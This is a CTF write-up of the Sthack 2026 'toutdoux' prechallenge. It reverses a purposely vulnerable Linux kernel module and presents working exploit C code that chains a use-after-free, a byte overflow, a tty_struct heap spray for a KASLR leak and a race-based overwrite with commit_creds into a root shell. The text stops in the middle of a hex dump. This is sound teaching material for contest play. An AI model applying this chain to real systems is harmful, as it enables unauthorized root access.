Sthack 2026 Prechallenge - Toutdoux kernel Pwn

Arthur Muraro - Kaddate |

For the THCon 2025 I made the last step of the prechallenge and I found the idea of a prechallenge very cool. As I am also an organizer of the Sthack, another Cybersecurity event in France, I decided to make a prechallenge for it.

Since it was the first year this prechallenge was tiny and was composed of 3 steps made in order by @it4 - @0b11stan - @Kaddate. Sthack is a pretty hyped event, and every year tickets are bought within one or two minutes. So the idea of the prechall was to give the winner every year a black badge that would give a lifetime access to Sthack (idea totally inspired by LeHACK, another French event in Paris).

In this blog post I will mostly make the writeup of the last step toutdoux, the one I did. The other steps will also have a writeup made by their makers. I will also take the time to share our feelings about this prechallenge and how we designed it.

Toutdoux writeup

Upon finishing step 2, the prechall.sthack.fr interface would give you this message:

~ $ curl -X POST https://prechall.sthack.fr/steps/2 -k \
                -d 'flag=STHACK{n1x0s_1s_th3_b3st_d1str0}&nickname=[admin] Kaddate'

Good job ! You can now advance to the next step
For the next challenge, you can dowload the step there https://prechall.sthack.fr/5U2Lx6MKzCKD5rhHbK4FJCBLT0znkttWLw2bkJPQ5YriakWQ9TSrvg8HkMDBCQnzqPFunFdQxizZDByBeciANPuuMUrcw2K4m6e1 and validate the challenge there : 35.239.187.213:1337%  

The URL served all the environment necessary to pwn locally the challenge, and the remote URL was to test the exploit remotely. Classic shit.

~ $ find .
.
./initramfs.cpio.gz
./run.sh
./bzImage

For this challenge we are given a kernel image as well as an initramfs file and a bash script that launches a VM with Qemu.

run.sh
#!/bin/bash

qemu-system-x86_64 \
        -m 2G \
        -smp 2 \
        -kernel bzImage \
        -initrd ./initramfs.cpio.gz \
        -enable-kvm \
        -nographic \
        -pidfile vm.pid \
        -append "console=ttyS0 root=/dev/sda earlyprintk=serial net.ifnames=0 oops=panic" \
        2>&1 | tee ./logs/vm.log

Let's start by booting the VM.

/ $ whoami
challenger
/ $ ls -la
total 1456
drwxr-xr-x   11 0        0                0 May  9 12:32 .
drwxr-xr-x   11 0        0                0 May  9 12:32 ..
drwxr-xr-x    2 0        0                0 Apr 27 15:25 bin
drwxr-xr-x    8 0        0             2320 May  9 12:32 dev
drwxr-xr-x    3 0        0                0 Mar 30 13:21 etc
-r--------    1 0        0               30 Apr 27 15:30 flag
lrwxrwxrwx    1 0        0               11 Apr 27 15:25 init -> bin/busybox
-rw-r--r--    1 0        0          1240576 Apr 27 15:30 initramfs.cpio
lrwxrwxrwx    1 0        0               12 May  9 12:32 linuxrc -> /bin/busybox
dr-xr-xr-x  110 0        0                0 May  9 12:32 proc
drwx------    2 0        0                0 Apr 27 15:23 root
drwxr-xr-x    2 0        0                0 Apr 27 15:25 sbin
dr-xr-xr-x   12 0        0                0 May  9 12:32 sys
drwxrwxrwt    2 0        0               60 May  9 12:33 tmp
-rw-r--r--    1 0        0           245000 Apr 22 21:43 toutdoux.ko
drwxr-xr-x    4 0        0                0 Mar 27 17:18 usr
/ $ lsmod
toutdoux 20480 0 - Live 0x0000000000000000 (O)

This is a very minimalistic virtual machine on which we are challenger; in order to get the flag we need to get root on the machine. (5 days before the launch of the prechall, Copy fail got released, and the dirty frag repo went public on the very day of that release). The only unusual thing is the kernel module toutdoux.ko which is loaded in memory. Let's start by dumping it.

Since the file system is contained in a simple rootfs cpio image, it is trivial to extract it. The command zcat initramfs.cpio.gz | cpio -iv gives us the complete file system. Let's now inspect the toutdoux.ko module.

Reversing toutdoux.ko

~ $ modinfo ./toutdoux.ko 
filename:       /home/kaddate/projets/wu_toudoux/toutdoux/./toutdoux.ko
license:        GPL
description:    Mutualized TODO list for our Projects ! :3
author:         Kaddate
depends:        
retpoline:      Y
name:           toutdoux
vermagic:       6.0.1 SMP preempt mod_unload 

Let's put it into a static analyzer (personally I'll use Ghidra).

int init_toutdoux(void)
{
  ulong uVar1;

  major = __register_chrdev(0,0,0x100,"toutdoux",&toutdoux_fops);
  if (-1 < major) {
    toutdoux_class = (class *)__class_create(&__this_module,"toutdoux",&toutdoux_class);
    if (toutdoux_class < (class *)0xfffffffffffff001) {
      uVar1 = device_create(toutdoux_class,0,major << 0x14,0,"toutdoux");
      if (uVar1 < 0xfffffffffffff001) {
        return 0;
      }
      class_destroy(toutdoux_class);
    }
    __unregister_chrdev(major,0,0x100,"toutdoux");
  }
  return -1;
}

long toutdoux_ioctl(file *file,uint action,ulong args)
{
  long lVar1;
  int iVar2;
  uint uVar3;
  long lVar4;
  task *ptVar5;
  task *ptVar6;
  char *pcVar7;
  long in_GS_OFFSET;
  byte bVar8;
  user_task u_task;
  char name [32];
  char description [960];

                    /* Unresolved local var: long ret@[???] */
  bVar8 = 0;
  lVar1 = *(long *)(in_GS_OFFSET + 0x28);
  mutex_lock(&toutdoux_lock);
  u_task.id = 0;
  u_task._4_4_ = 0;
  u_task.name = (char *)0x0;
  u_task.description = (char *)0x0;
  lVar4 = _copy_from_user(&u_task,args,0x18);
  if (lVar4 != 0) {
    lVar4 = -0xe;
    mutex_unlock(&toutdoux_lock);
    goto LAB_001007ea;
  }
  name[0] = '\0';
  name[1] = '\0';
  name[2] = '\0';
  name[3] = '\0';
  name[4] = '\0';
  name[5] = '\0';
  name[6] = '\0';
  name[7] = '\0';
  pcVar7 = description + 8;
  for (lVar4 = 0x77; lVar4 != 0; lVar4 = lVar4 + -1) {
    pcVar7[0] = '\0';
    pcVar7[1] = '\0';
    pcVar7[2] = '\0';
    pcVar7[3] = '\0';
    pcVar7[4] = '\0';
    pcVar7[5] = '\0';
    pcVar7[6] = '\0';
    pcVar7[7] = '\0';
    pcVar7 = pcVar7 + (ulong)bVar8 * -0x10 + 8;
  }
  name[8] = '\0';
  name[9] = '\0';
  name[10] = '\0';
  name[0xb] = '\0';
  name[0xc] = '\0';
  name[0xd] = '\0';
  name[0xe] = '\0';
  name[0xf] = '\0';
  name[0x10] = '\0';
  name[0x11] = '\0';
  name[0x12] = '\0';
  name[0x13] = '\0';
  name[0x14] = '\0';
  name[0x15] = '\0';
  name[0x16] = '\0';
  name[0x17] = '\0';
  name[0x18] = '\0';
  name[0x19] = '\0';
  name[0x1a] = '\0';
  name[0x1b] = '\0';
  name[0x1c] = '\0';
  name[0x1d] = '\0';
  name[0x1e] = '\0';
  name[0x1f] = '\0';
  description[0] = '\0';
  description[1] = '\0';
  description[2] = '\0';
  description[3] = '\0';
  description[4] = '\0';
  description[5] = '\0';
  description[6] = '\0';
  description[7] = '\0';
  if (action == 4) {
    iVar2 = task_finish_update_desc(u_task.id,u_task.description);
    lVar4 = (long)iVar2;
  }
  else if (action < 5) {
    if (action == 2) {
      iVar2 = task_delete(u_task.id);
      lVar4 = (long)iVar2;
    }
    else if (action == 3) {
      iVar2 = task_complete(u_task.id);
      lVar4 = (long)iVar2;
    }
    else if (action == 0) {
      lVar4 = _copy_from_user(name,u_task.name,0x20);
      if (lVar4 == 0) {
        lVar4 = _copy_from_user(description,u_task.description,0x3c0);
        if (lVar4 == 0) {
          iVar2 = task_create(name,description);
          lVar4 = (long)iVar2;
          goto LAB_001007de;
        }
      }
      lVar4 = -0xe;
    }
    else {
      iVar2 = get_task_infos(u_task.id,u_task.name,u_task.description);
      lVar4 = (long)iVar2;
    }
  }
  else if (action == 6) {
                    /* Unresolved local var: uint idx@[???]
                       Unresolved local var: task * t@[???] */
    ptVar6 = todos;
                    /* Unresolved local var: int i@[???] */
    ptVar5 = todos;
    do {
      if (u_task.id == ptVar5->id) {
        uVar3 = 0;
        goto LAB_001008c2;
      }
      ptVar5 = ptVar5 + 1;
    } while (ptVar5 != (task *)&toutdoux_class);
LAB_00100969:
    lVar4 = -0x16;
  }
  else if (action == 7) {
    iVar2 = task_update_name(u_task.id,u_task.name);
    lVar4 = (long)iVar2;
  }
  else {
    if (action != 5) goto LAB_00100969;
    iVar2 = task_set_in_progress(u_task.id);
    lVar4 = (long)iVar2;
  }
LAB_001007de:
  mutex_unlock(&toutdoux_lock);
LAB_001007ea:
  if (lVar1 == *(long *)(in_GS_OFFSET + 0x28)) {
    return lVar4;
  }
                    /* WARNING: Subroutine does not return */
  __stack_chk_fail();
  while( true ) {
                    /* Unresolved local var: int i@[???] */
    uVar3 = uVar3 + 1;
    ptVar6 = ptVar6 + 1;
    if (uVar3 == 100) break;
LAB_001008c2:
    if (u_task.id == ptVar6->id) {
      iVar2 = (*todos[uVar3].render_fn)
                        (todos[uVar3].description,(char *)((long)(int)uVar3 * 0x36 + 0x101866),
                         todos[uVar3].completed,todos[uVar3].inProgress,u_task.description);
      lVar4 = (long)iVar2;
      goto LAB_001007de;
    }
  }
  goto LAB_00100969;
}

Ok so this module is pretty classic, it creates a character device at /dev/toutdoux and registers some ioctl commands on it. The todo idea is a simple way for me to create a heap challenge. Let's start by understanding what a todo task is and then by inspecting all ioctl handlers.

the todos type

Since some symbols are still present, Ghidra did recover the type todos, let's look at it.

001018cc                 task                                       [2]
  001018cc                 uint               ??                      id
  001018d0                 uchar              ??                      inProgress
  001018d1                 uchar              ??                      completed
  001018d2                 char[32]           ??                      name
  001018f2                 char *             NaP                     description
  001018fa                 int _func_int_ch   NaP                     render_fn

This is a struct that contains a 32-character buffer for its name, an ID, a description which is a char pointer, and finally a function pointer called render_fn. It also contains 2 booleans stored as chars: inProgress and completed.

task_create() lookup

int task_create(char *name_buf,char *description_buf)
{
  uint _task_counter;
  task *_todos;
  char *description;
  long j;
  uint i;
  char *pcVar1;
  byte bVar2;

  bVar2 = 0;
  _todos = todos;
  i = 0;
  do {
    if (_todos->id == 0) {
                    /* Unresolved local var: uint index@[???] */
      description = (char *)kmem_cache_alloc_trace(_DAT_001030e0,0xdc0,960);
      if (description == (char *)0x0) {
        _task_counter = 0xfffffff4;
      }
      else {
        _todos = todos + (int)i;
        _todos->name[0] = '\0';
        _todos->name[1] = '\0';
        _todos->name[2] = '\0';
        _todos->name[3] = '\0';
        _todos->name[4] = '\0';
        _todos->name[5] = '\0';
        _todos->name[6] = '\0';
        _todos->name[7] = '\0';
        _todos = todos + (int)i;
        _todos->name[8] = '\0';
        _todos->name[9] = '\0';
        _todos->name[10] = '\0';
        _todos->name[0xb] = '\0';
        _todos->name[0xc] = '\0';
        _todos->name[0xd] = '\0';
        _todos->name[0xe] = '\0';
        _todos->name[0xf] = '\0';
        _todos = todos + (int)i;
        _todos->name[0x10] = '\0';
        _todos->name[0x11] = '\0';
        _todos->name[0x12] = '\0';
        _todos->name[0x13] = '\0';
        _todos->name[0x14] = '\0';
        _todos->name[0x15] = '\0';
        _todos->name[0x16] = '\0';
        _todos->name[0x17] = '\0';
        _todos = todos + (int)i;
        _todos->name[0x18] = '\0';
        _todos->name[0x19] = '\0';
        _todos->name[0x1a] = '\0';
        _todos->name[0x1b] = '\0';
        _todos->name[0x1c] = '\0';
        _todos->name[0x1d] = '\0';
        _todos->name[0x1e] = '\0';
        _todos->name[0x1f] = '\0';
        *(undefined8 *)todos[(int)i].name = *(undefined8 *)name_buf;
        *(undefined8 *)(todos[(int)i].name + 8) = *(undefined8 *)(name_buf + 8);
        *(undefined8 *)(todos[(int)i].name + 0x10) = *(undefined8 *)(name_buf + 0x10);
        *(undefined8 *)(todos[(int)i].name + 0x18) = *(undefined8 *)(name_buf + 0x18);
        pcVar1 = description;
        for (j = 120; j != 0; j = j + -1) {
          *(undefined8 *)pcVar1 = *(undefined8 *)description_buf;
          description_buf = description_buf + (ulong)bVar2 * -0x10 + 8;
          pcVar1 = pcVar1 + ((ulong)bVar2 * -2 + 1) * 8;
        }
        _task_counter = task_counter + 1;
        task_counter = _task_counter;
        todos[i].id = _task_counter;
        todos[i].inProgress = '\0';
        todos[i].completed = '\0';
        todos[i].description = description;
        todos[i].render_fn = default_render;
      }
      return _task_counter;
    }
    i = i + 1;
    _todos = _todos + 1;
  } while (i != 100);
  return -0x1c;
}

This function allows the player to create a task. It looks up a global list of 100 tasks for an unused slot and fills it with the user information: name and description, as well as some deterministic values such as the id, which is tracked and incremented via a global variable called task_counter. It also sets the task to not completed and not in progress.

Each buffer is properly zeroed before any data write, so no information leak is possible here. But we need to keep in mind that a heap allocation is done here to store the description (we can see kmem_cache_alloc_trace called with 0x3c0 (960) bytes) which is always interesting.

task_delete() lookup

int task_delete(int id)
{
  char *pcVar1;
  uint uVar2;
  task *task_ptr;
  long lVar3;
  task *ptVar4;

                    /* Unresolved local var: uint idx@[???]
                       Unresolved local var: int i@[???] */
  ptVar4 = todos;
  task_ptr = todos;
  while (id != task_ptr->id) {
    task_ptr = task_ptr + 1;
    if (task_ptr == (task *)&toutdoux_class) {
      return -0x16;
    }
  }
  uVar2 = 0;
  do {
    if (id == ptVar4->id) {
      lVar3 = (long)(int)uVar2 * 0x36 + 6;
      goto LAB_0010054c;
    }
                    /* Unresolved local var: int i@[???] */
    uVar2 = uVar2 + 1;
    ptVar4 = ptVar4 + 1;
  } while (uVar2 != 100);
  lVar3 = 0x35ffffffd0;
  uVar2 = 0xffffffff;
LAB_0010054c:
  pcVar1 = todos[0].name + lVar3 + -6;
  pcVar1[0] = '\0';
  pcVar1[1] = '\0';
  pcVar1[2] = '\0';
  pcVar1[3] = '\0';
  pcVar1[4] = '\0';
  pcVar1[5] = '\0';
  pcVar1[6] = '\0';
  pcVar1[7] = '\0';
  pcVar1 = todos[0].name + lVar3 + 2;
  pcVar1[0] = '\0';
  pcVar1[1] = '\0';
  pcVar1[2] = '\0';
  pcVar1[3] = '\0';
  pcVar1[4] = '\0';
  pcVar1[5] = '\0';
  pcVar1[6] = '\0';
  pcVar1[7] = '\0';
  pcVar1 = todos[0].name + lVar3 + 10;
  pcVar1[0] = '\0';
  pcVar1[1] = '\0';
  pcVar1[2] = '\0';
  pcVar1[3] = '\0';
  pcVar1[4] = '\0';
  pcVar1[5] = '\0';
  pcVar1[6] = '\0';
  pcVar1[7] = '\0';
  pcVar1 = todos[0].name + lVar3 + 0x12;
  pcVar1[0] = '\0';
  pcVar1[1] = '\0';
  pcVar1[2] = '\0';
  pcVar1[3] = '\0';
  pcVar1[4] = '\0';
  pcVar1[5] = '\0';
  pcVar1[6] = '\0';
  pcVar1[7] = '\0';
  kfree(todos[uVar2].description);
  todos[uVar2].completed = '\0';
  todos[uVar2].description = (char *)0x0;
  todos[uVar2].id = 0;
  return 0;
}

This one is straightforward. It gets the task by ID, nulls out its name buffer, frees the description, and resets the id and completion status. The description pointer is also properly set to null after the free.

So, again, no leak or UAF here...

task_complete() lookup

int task_complete(int id)
{
  uint i;
  task *_todos_ptr_2;
  ulong idx;
  task *_todos_ptr_1;

  _todos_ptr_1 = todos;
  _todos_ptr_2 = todos;
  while (id != _todos_ptr_2->id) {
    _todos_ptr_2 = _todos_ptr_2 + 1;
    if (_todos_ptr_2 == (task *)&toutdoux_class) {
      return -0x16;
    }
  }
  idx = 0;
  do {
    if (id == _todos_ptr_1->id) goto do_complete;

    i = (int)idx + 1;
    idx = (ulong)i;
    _todos_ptr_1 = _todos_ptr_1 + 1;
  } while (i != 100);
  idx = 0xffffffff;
do_complete:
  todos[idx].completed = todos[idx].completed + '\x01';
  todos[idx].inProgress = '\0';
  return 0;
}

task_complete is a pretty little function with almost no logic: it sets inProgress to 0 and increments completed by one. But this one is shady; completed is a single byte, so calling this 255 times wraps it back to 0, making the task look uncompleted again. That's our integer overflow.

task_set_in_progress() lookup

int task_set_in_progress(uint id)
{
  uint i;
  task *ptVar1;
  ulong idx;
  task *ptVar2;

  ptVar2 = todos;
  ptVar1 = todos;
  while (id != ptVar1->id) {
    ptVar1 = ptVar1 + 1;
    if (ptVar1 == (task *)&toutdoux_class) {
      return -0x16;
    }
  }
  idx = 0;
  do {
    if (id == ptVar2->id) goto LAB_00100610;
                    /* Unresolved local var: uint idx@[???]
                       Unresolved local var: int i@[???] */
    i = (int)idx + 1;
    idx = (ulong)i;
    ptVar2 = ptVar2 + 1;
  } while (i != 100);
  idx = 0xffffffff;
LAB_00100610:
  todos[idx].inProgress = '\x01';
  return 0;
}

task_set_in_progress() is very close to the previous one, as it sets inProgress to true.

But this one is safe.

task_update_name lookup

int task_update_name(int id,char *name)
{
  code *pcVar1;
  int iVar2;
  long lVar3;
  task *ptVar4;
  ulong uVar5;
  task *ptVar6;

                    /* Unresolved local var: uint idx@[???] */
  lVar3 = strnlen_user(name,0x3c0);
  if (lVar3 < 0x20) {
                    /* Unresolved local var: int i@[???] */
    ptVar6 = todos;
    ptVar4 = todos;
    while (id != ptVar4->id) {
      ptVar4 = ptVar4 + 1;
      if (ptVar4 == (task *)&toutdoux_class) {
        return -0x16;
      }
    }
    iVar2 = 0;
    do {
      if (id == ptVar6->id) {
        lVar3 = (long)iVar2 * 0x36 + 6;
        goto LAB_00100491;
      }
                    /* Unresolved local var: int i@[???] */
      iVar2 = iVar2 + 1;
      ptVar6 = ptVar6 + 1;
    } while (iVar2 != 100);
    lVar3 = 0x35ffffffd0;
LAB_00100491:
    uVar5 = strnlen_user(name,0x3c0);
                    /* Unresolved local var: int sz@[???]
                       Unresolved local var: int __ret_warn_on@[???] */
    if (0x7fffffff < uVar5) {
                    /* WARNING: Does not return */
      pcVar1 = (code *)invalidInstructionException();
      (*pcVar1)();
    }
                    /* Unresolved local var: int __flags@[???] */
    lVar3 = _copy_from_user(todos[0].name + lVar3 + -6,name,uVar5);
    iVar2 = 0;
    if (lVar3 != 0) {
      return -0xe;
    }
  }
  else {
    iVar2 = -1;
  }
  return iVar2;
}

This one is a bit trickier. The function allows the user to update the name of any task; it takes an ID and a character buffer as input. It first verifies that the name is less than 32 characters (0x20), then copies it into the task's name buffer.

But there are 2 concurrent issues here:
- First, there is a size mismatch: strnlen_user() is called with 0x3c0 (960) as its limit instead of 0x20 (32), which is the actual size of the name buffer. This means a name up to 960 bytes passes the length check.
- The second is a double fetch vulnerability: the length check and the actual copy_from_user() both call strnlen_user() on the same userland pointer. An attacker can race these two calls by swapping the buffer content between them with a short name for the check, a long one for the copy.

Combined, these two issues give us a reliable buffer overflow into the adjacent struct fields.

task_finish_update_desc() lookup

int task_finish_update_desc(uint id,char *description_buf)
{
  uint uVar1;
  int iVar2;
  task *ptVar3;
  char *pcVar4;
  long lVar5;
  ulong uVar6;
  task *ptVar7;

  ptVar7 = todos;
  ptVar3 = todos;
  while (id != ptVar3->id) {
    ptVar3 = ptVar3 + 1;
    if (ptVar3 == (task *)&toutdoux_class) {
      return -0x16;
    }
  }
  uVar6 = 0;
  do {
    if (id == ptVar7->id) goto LAB_0010067b;
                    /* Unresolved local var: int i@[???] */
    uVar1 = (int)uVar6 + 1;
    uVar6 = (ulong)uVar1;
    ptVar7 = ptVar7 + 1;
  } while (uVar1 != 100);
  uVar6 = 0xffffffff;
LAB_0010067b:
  if (todos[uVar6].completed == '\0') {
                    /* Unresolved local var: uint index@[???] */
    pcVar4 = (char *)kmem_cache_alloc_trace(_DAT_001030e0,0xdc0,0x3c0);
    if (pcVar4 == (char *)0x0) {
      iVar2 = -0xc;
    }
    else {
      todos[uVar6].completed = '\x01';
      kfree(todos[uVar6].description);
      lVar5 = _copy_from_user(pcVar4,description_buf,0x3c0);
      if (lVar5 == 0) {
        todos[uVar6].description = pcVar4;
        iVar2 = 0;
      }
      else {
        kfree(pcVar4);
        iVar2 = -0xe;
      }
    }
  }
  else {
    iVar2 = -1;
  }
  return iVar2;
}

This one does 2 things: it first checks that the task is not already completed, then frees the old description, allocates a new one, and copies the user buffer into it.

But there is an issue in its error handling. Looking at the decompiled output: when copy_from_user() fails, the new buffer (pcVar4) is freed, but the task's description field is never updated. It still points to the old buffer that was already freed by kfree() a few lines above. This leaves a dangling pointer and gives us a UAF primitive.

render handler

And finally, there is the render ioctl handler.

  else if (action == 6) {
    ptVar5 = todos;
    ptVar4 = todos;
    do {
      if (u_task.id == ptVar4->id) {
        i = 0;
        goto LAB_001008c2;
      }
      ptVar4 = ptVar4 + 1;
    } while (ptVar4 != (task *)&toutdoux_class);

// ...snip...

LAB_001008c2:
    if (u_task.id == ptVar5->id) {
      iVar2 = (*todos[i].render_fn)
                        (todos[i].description,(char *)((long)(int)i * 0x36 + 0x101866),
                         todos[i].completed,todos[i].inProgress,u_task.description);
      lVar3 = (long)iVar2;
      goto LAB_001007de;

This one is not too complex: it executes the function pointed to by the render_fn field of any todo. By default it points to default_render() which reads all data of a todo and formats it for display.

Attack scenario and security mitigations

Once the vulnerabilities are identified, an attack scenario can be established. But before doing that, we need to talk about the security mitigations of the kernel.

The Linux kernel starts by default with KASLR. This security measure is comparable to ASLR but adapted to the kernel: it gets placed at a pseudo-random address in memory at boot. This makes exploitation more complex, as even if you have an execution primitive you don't know where to redirect the execution flow. Bypassing KASLR requires a leak to deduce the kernel base address at runtime.

Now, let's talk about the attack scenario. From the primitives we identified, here is the chain needed to get root:
- Trigger a free with no pointer reset in task_finish_update_desc()
- Call task_complete() 255 times to overflow the completed byte back to 0
- Spray the heap to get a tty_struct allocated over the freed chunk
- Read back the description to leak pty_unix98_ops and compute the kernel base
- Race task_update_name() to trigger the buffer overflow and overwrite render_fn
- Call A_RENDER to execute arbitrary code and get root

Trigger the free

To trigger the unsafe free, we call task_finish_update_desc() with a null description pointer. From the decompiled output, we can see the function frees the old description buffer before attempting the copy_from_user(). If the copy fails (e.g. because the pointer is null), the new buffer is freed too. But the task's description field is never updated. It still points to the original freed chunk.

exploit.c
int task_update_description(int fd, user_task_t *ut) {
  int res = ioctl(fd, A_FINISH_UPDATE_DESC, ut);
  if (res == -1) {
    if (errno == EFAULT) {
      printf("task_update_description: error in copy_to_user()\n");
      return EFAULT;
    } else {
      printf("task_update_description: %d\n", errno);
      exit(1);
    }
  }
  return 0;
}

// ...

task->description = NULL; // null pointer -> copy_from_user() will fault
task_update_description(fd, task);
puts("UAF triggered");

The task's description field now points to a freed chunk. The kernel may reallocate that chunk for other purposes, potentially filling it with useful data we can read back.

Trigger the int overflow

To read the description back we need to call get_task_infos(), but from the decompiled output this function returns -EPERM if the task is completed. That's where the integer overflow comes in: completed is a single byte, so calling task_complete() 255 times increments it all the way around back to 0, making the task appear uncompleted again.

exploit.c
for (int i = 1; i != 256; i++)
  task_complete(fd, task);
puts("int overflow triggered");

With completed back at 0, get_task_infos() will let us read the description, which may now contain data the kernel placed there after the free.

Spraying the Heap

Now we need to spray the heap. I won't explain the technique here, but if you want more information you can check out the links and references I'll put at the end of the post.

The description buffer is allocated with kmem_cache_alloc_trace at size 0x3c0 (960 bytes), which we can read directly in the decompiled task_create(). This falls under the kmalloc-1024 allocator. This size is convenient as we can easily get tty_struct chunks allocated there by simply opening /dev/ptmx file descriptors. The great thing about tty_struct is that it holds function pointers for routine handling, which we can read back via the UAF.

exploit.c
void spray_it() {
  for (int i = 0; i < 40; i++) {
    int res = open("/dev/ptmx", O_RDWR | O_NOCTTY);
    if (res < 0) {
      perror("open ptmx");
      exit(1);
    }
  }
}

// ...

spray:
  puts("Spraying like it's nothing !");
  spray_it();
  task_read(fd, task);

After spraying, we check whether the freed chunk looks like a tty_struct by verifying that the value at offset 24 (the ops field) falls in the kernel address range. If it doesn't, we spray again.

exploit.c
int identified = identify_tty_struct_fops((unsigned long *)task->description);
if (!identified)
  goto spray;

You can find the source of the structure here: https://elixir.bootlin.com/linux/v6.0.1/source/include/linux/tty.h#L195

Calculate Kernel base address

Once we have a tty_struct in our freed buffer, we can leak the ops field. When a /dev/ptmx device is opened, this field is set to pty_unix98_ops. We can look up its static address in the kernel image using vmlinux-to-elf:

~ $ vmlinux-to-elf ./solve/bzImage solve/elf-image --base-address 0x0
~ $ readelf --wide -s ./solve/elf-image | grep pty_unix98_ops
 31890: ffffffff822832a0     0 OBJECT  LOCAL  DEFAULT    2 pty_unix98_ops

Since KASLR shifts all symbols by the same offset, subtracting the static address from the leaked runtime address gives us the kernel slide directly:

exploit.c
ssize_t pty_unix98_ops =
    bytes_to_ull((unsigned char *)(task->description) + 24);
printf("pty_unix98_ops @0x%lx!\n", pty_unix98_ops);

kernel_base = pty_unix98_ops - SYM_pty_unix98_ops;
printf("kernel_base @0x%lx!\n", kernel_base);

The SYM_pty_unix98_ops constant is just the static offset we read from readelf above. Once we have the base, we can calculate the address of any other kernel symbol the same way.

static void __init unix98_pty_init(void)
{
    // ...
    tty_set_operations(pts_driver, &pty_unix98_ops);
    // ...
}

sources:
- https://elixir.bootlin.com/linux/v6.0.1/source/drivers/tty/pty.c#L762
- https://elixir.bootlin.com/linux/v6.0.1/source/drivers/tty/pty.c#L873

Trigger the buffer overflow

Now that we have the kernel base, we can compute the addresses of commit_creds and init_cred. The plan is to exploit the double fetch in task_update_name() to overflow the name buffer and overwrite render_fn with commit_creds.

From the recovered struct layout, name is 32 bytes, immediately followed by description (8 bytes) then render_fn (8 bytes). So a 56-byte write lands init_cred and commit_creds exactly where we want them.

The trick is to race two threads:
- race_thread continuously overwrites the shared name buffer with a crafted 56-byte payload.
- exploit_thread continuously calls task_update_name() with a short legitimate name, then immediately calls A_RENDER. Between the two strnlen_user() calls inside the kernel, race_thread swaps the buffer for the long payload, causing copy_from_user() to copy 56 bytes into the 32-byte name field.

exploit.c
void *race_thread(void *arg) {
  ssize_t commit_creds = kernel_base + SYM_commit_creds;
  ssize_t init_cred    = kernel_base + SYM_init_cred;

  ssize_t payload[7];
  payload[0] = 0xDECAFBADDECAFBAD; // padding over name[0..7]
  payload[1] = 0xDECAFBADDECAFBAD; // padding over name[8..15]
  payload[2] = 0xDECAFBADDECAFBAD; // padding over name[16..23]
  payload[3] = 0xDECAFBADDECAFBAD; // padding over name[24..31]
  payload[4] = init_cred;           // overwrites description ptr
  payload[5] = commit_creds;        // overwrites render_fn
  payload[6] = 0;

  user_task_t *task = (user_task_t *)arg;
  while (1)
    strncpy(task->name, (char *)payload, 8 * 8);
  return NULL;
}

void *exploit_thread(void *arg) {
  user_task_t *task = (user_task_t *)arg;
  char name[TASK_NAME_SIZE] = "legitimate name\x00";

  while (1) {
    strncpy(task->name, name, TASK_NAME_SIZE); // reset to short name
    if (task_update_name(fd, task) == -1)       // strnlen_user() check passes...
      continue;                                 // ...race_thread swaps before second strnlen_user()

    task->description = malloc(1600);
    task_render(fd, task);   // if race won: render_fn == commit_creds
    free(task->description);

    if (getuid() == 0) {
      puts("[+] root !");
      system("/bin/sh");
      exit(0);
    }
  }
  return NULL;
}

Call arbitrary code

Once the race wins and render_fn has been overwritten with commit_creds, the next render request call on that task triggers:

commit_creds(init_cred);

commit_creds(init_cred) replaces the current process credentials with the kernel's own init_cred structure, which has uid/gid 0 (basically root). The exploit thread checks getuid() == 0 after each render call and drops a shell as soon as it succeeds.

exploit.c
puts("Attacking the race condition");
task->name = malloc(200);
pthread_t racer, shell;
pthread_create(&racer, NULL, race_thread, task);
pthread_create(&shell, NULL, exploit_thread, task);
pthread_join(shell, NULL);

This race is not guaranted to win everytime, but both thread loops fast enough to get a shell almost instantly.

The solve

/ $ whoami
challenger
/ $ ./exploit 
First task id = 1
task->name = This is task 1
task->description = This is description of task 1
  .----------------------------------.
  | This is task 1                   |
  |~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~|
  | This is description of task 1                                |
  '----------------------------------'
          \
           \
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢎⠱⠊⡱
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⡠⠤⠒⠒⠒⠒⠤⢄⣑⠁
⠀⠀⠀⠀⠀⠀⠀⢀⡤⠒⠝⠉⠀⠀⠀⠀⠀⠀⠀⠀⠀⠉⠲⢄⡀
⠀⠀⠀⠀⠀⢀⡴⠋⠀⠀⠀⠀⣀⠀⠀⠀⠀⠀⠀⢰⣢⠐⡄⠀⠉⠑⠒⠒⠒⣄
⠀⠀⠀⣀⠴⠋⠀⠀⠀⡎⠀⠘⠿⠀⠀⢠⣀⢄⡢⠉⣔⣲⢸
⡠⠒⠉⠀⠀⠀⠀⠀⡰⢅⠫⠭⠝⠀⠀⠀⠀⠀⠀⢀⣀⣤⡋⠙⠢⢄⣀⣀⡠⠊
⢇⠀⠀⠀⠀⠀⢀⠜⠁⠀⠉⡕⠒⠒⠒⠒⠒⠛⠉⠹⡄⣀⠘⡄
⠀⠑⠂⠤⠔⠒⠁⠀⠀⡎⠱⡃⠀⠀⡄⠀⠄⠀⠀⠠⠟⠉⡷⠁
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠹⠤⠤⠴⣄⡸⠤⣄⠴⠤⠴⠄⠼

  status: hasnt started lol

task_update_description: error in copy_to_user()
UAF triggered
int overflow triggered
Spraying like it's nothing !
100005401 0 ffffa0c9024b23c0 ffffffffb0a832a0 0 0 0 ffffa0c9013c3838 
ffffa0c9013c3838 ffffa0c9013c3848 ffffa0c9013c3848 ffffa0c901272ab0 0 0 ffffa0c9013c3870 ffffa0c9013c3870 
0 0 ffffa0c9013c3890 ffffa0c9013c3890 0 0 ffffa0c9013c38b0 ffffa0c9013c38b0 
0 0 0 ffffa0c9013c38d8 ffffa0c9013c38d8 0 0 ffffa0c9013c38f8 
ffffa0c9013c38f8 500000500 8a3b000000bf 10004157f1c0300 170f12001a131100 960000000016 9600 0 
0 0 0 0 30737470 0 0 0 
0 0 0 0 800 1 0 0 
0 0 0 0 0 0 ffffa0c9013c3c00 0 
0 ffffa0c9013c3a08 ffffa0c9013c3a08 0 ffffa0c9013c3a20 ffffa0c9013c3a20 fffffffe0 ffffa0c9013c3a38 
ffffa0c9013c3a38 ffffffffafd58570 ffffa74200215000 ffffa0c9020523c0 0 ffffa0c9013c3a68 ffffa0c9013c3a68 0 
0 0 fffffffe0 ffffa0c9013c3a98 ffffa0c9013c3a98 ffffffffafd5a060 ffffa0c90136a600 0 
0 0 0 0 0 0 0 0 
0 0 0 0 0 0 0 0 
0 0 0 0 0 0 0 0 
